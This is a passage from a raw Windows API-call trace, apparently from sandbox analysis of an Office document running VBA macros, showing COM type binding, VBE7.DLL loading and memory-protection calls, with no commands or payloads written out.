pvarLeft=0xb824138, pvarRight=0xb8240f0, pvarResult=0xb824108 | out: pvarResult=0xb824108) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb824108, pvarRight=0xb8240c0, pvarResult=0xb8240d8 | out: pvarResult=0xb8240d8) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb823fd0, pvarRight=0xb823f90, pvarResult=0xb824288 | out: pvarResult=0xb824288) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb824288, pvarRight=0xb824270, pvarResult=0xb824258 | out: pvarResult=0xb824258) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb824258, pvarRight=0xb824228, pvarResult=0xb824210 | out: pvarResult=0xb824210) returned 0x0 [0076.247] VarAdd (in: pvarLeft=0xb824210, pvarRight=0xb8241b0, pvarResult=0xb8241f8 | out: pvarResult=0xb8241f8) returned 0x0 [0076.248] IMalloc:Alloc (This=0x7fefe465380, cb=0xc) returned 0x66c01b0 [0076.248] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0x5, _Src=0x57910ee | out: _Dst=0x66c01b0) returned 0x0 [0076.248] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.248] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.248] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d86, cbMultiByte=6, lpWideCharStr=0x1ff470, cchWideChar=7 | out: lpWideCharStr="Right") returned 6 [0076.248] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Right", lHashVal=0x10150d, wFlags=0x3, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d86, cbMultiByte=6, lpWideCharStr=0x1ff470, cchWideChar=7 | out: lpWideCharStr="Right") returned 6 [0076.248] ITypeComp:RemoteBind (in: This=0x5a48630, szName="Right", lHashVal=0x10150d, wFlags=0x3, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d86, cbMultiByte=6, lpWideCharStr=0x1ff470, cchWideChar=7 | out: lpWideCharStr="Right") returned 6 [0076.248] ITypeComp:RemoteBind (in: This=0x679c130, szName="Right", lHashVal=0x10150d, wFlags=0x3, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d86, cbMultiByte=6, lpWideCharStr=0x1ff470, cchWideChar=7 | out: lpWideCharStr="Right") returned 6 [0076.248] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="Right", lHashVal=0x10150d, wFlags=0x3, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.248] IMalloc:Alloc (This=0x7fefe465380, cb=0xd) returned 0x66c01b0 [0076.248] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0x6, _Src=0x5792d86 | out: _Dst=0x66c01b0) returned 0x0 [0076.248] strcpy_s (in: _Dst=0x1ff580, _DstSize=0xd, _Src="_B_var_Right" | out: _Dst="_B_var_Right") returned 0x0 [0076.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=13, lpWideCharStr=0x1ff3d0, cchWideChar=13 | out: lpWideCharStr="_B_var_Right") returned 13 [0076.248] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.248] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_Right", lHashVal=0x10d939, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=1, pBstrLibName=0x1ff3d0) returned 0x0 [0076.248] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Right", cchWideChar=-1, lpMultiByteStr=0x1ff580, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Right", lpUsedDefaultChar=0x0) returned 13 [0076.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Right") returned 0x10d939 [0076.248] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.248] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10476, cbMultiByte=13, lpWideCharStr=0x1ff430, cchWideChar=14 | out: lpWideCharStr="_B_var_Right") returned 13 [0076.249] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_Right", lHashVal=0x10d939, wFlags=0x3, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0xb941878, pDescKind=0x1ff3fc*=1, ppFuncDesc=0x1ff400, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.249] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941878, ppTypeAttr=0x1ff3f0, pDummy=0x1 | out: ppTypeAttr=0x1ff3f0, pDummy=0x1) returned 0x0 [0076.249] ITypeInfo:LocalReleaseTypeAttr (This=0xb941878) returned 0x0 [0076.249] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb941878, memid=1610612756, invkind=1, pFuncIndex=0x1ff290 | out: pFuncIndex=0x1ff290*=0x14) returned 0x0 [0076.249] ITypeInfo2:GetFuncCustData (in: This=0xb941878, index=0x14, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff2a8 | out: pVarVal=0x1ff2a8*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x10d939)) returned 0x0 [0076.249] IUnknown:Release (This=0xb941878) returned 0x4 [0076.249] IUnknown:AddRef (This=0xb941878) returned 0x5 [0076.249] ITypeInfo:LocalReleaseFuncDesc (This=0xb941878) returned 0x0 [0076.249] IUnknown:Release (This=0xb941878) returned 0x4 [0076.249] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff4a8 | out: ppvObject=0x1ff4a8*=0x0) returned 0x80004002 [0076.249] IUnknown:AddRef (This=0xb941878) returned 0x5 [0076.249] IUnknown:Release (This=0xb941878) returned 0x4 [0076.249] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.249] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.249] IMalloc:Free (This=0x7fefe465380, pv=0x66c01b0) [0076.249] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.249] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.249] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.249] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4b) returned 1 [0076.249] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.249] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x1ff3a0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.249] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff3a0, pbstrName=0x0, pwOrdinal=0x1ff3c0 | out: pBstrDllName=0x1ff3a0*=0x0, pbstrName=0x0, pwOrdinal=0x1ff3c0*=0xf630) returned 0x0 [0076.249] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff3a0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff3a0, pwOrdinal=0x500000000) returned 0x0 [0076.249] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x1ff190, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.250] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff190, pbstrName=0x0, pwOrdinal=0x1ff1b0 | out: pBstrDllName=0x1ff190*=0x0, pbstrName=0x0, pwOrdinal=0x1ff1b0*=0xf420) returned 0x0 [0076.250] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000) returned 0x0 [0076.250] IMalloc:Free (This=0x7fefe465380, pv=0x666f410) [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.250] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.250] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.250] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.250] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.250] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.250] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.250] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.251] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.251] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.251] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.251] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.251] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.251] GetCurrentProcess () returned 0xffffffffffffffff [0076.251] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.252] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.252] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.252] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.252] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.252] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c1e) returned 1 [0076.252] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.253] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x26b) returned 0x7fee5d32540 [0076.253] GetCurrentProcess () returned 0xffffffffffffffff [0076.253] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6488fc4, dwSize=0x4b) returned 1 [0076.253] RtlLookupFunctionEntry (in: ControlPc=0x6488fc4, ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0 | out: ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0) returned 0x0 [0076.253] VirtualProtect (in: lpAddress=0x6488fc4, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0x1ff5dc | out: lpflOldProtect=0x1ff5dc*=0x4) returned 1 [0076.253] RtlAddFunctionTable (FunctionTable=0x648901c, EntryCount=0x1, BaseAddress=0x6488f00, TargetGp=0x1ff5dc) returned 1 [0076.253] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.253] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.253] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.253] IUnknown:Release (This=0xb824728) returned 0x2 [0076.253] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.253] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.253] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.253] IUnknown:Release (This=0xb824780) returned 0x5 [0076.253] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.253] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.253] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.253] IUnknown:Release (This=0xb824678) returned 0x1 [0076.253] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.253] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.253] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.253] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.253] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.253] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.253] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.253] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.253] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.253] IUnknown:QueryInterface (in: This=0xb9412f8, 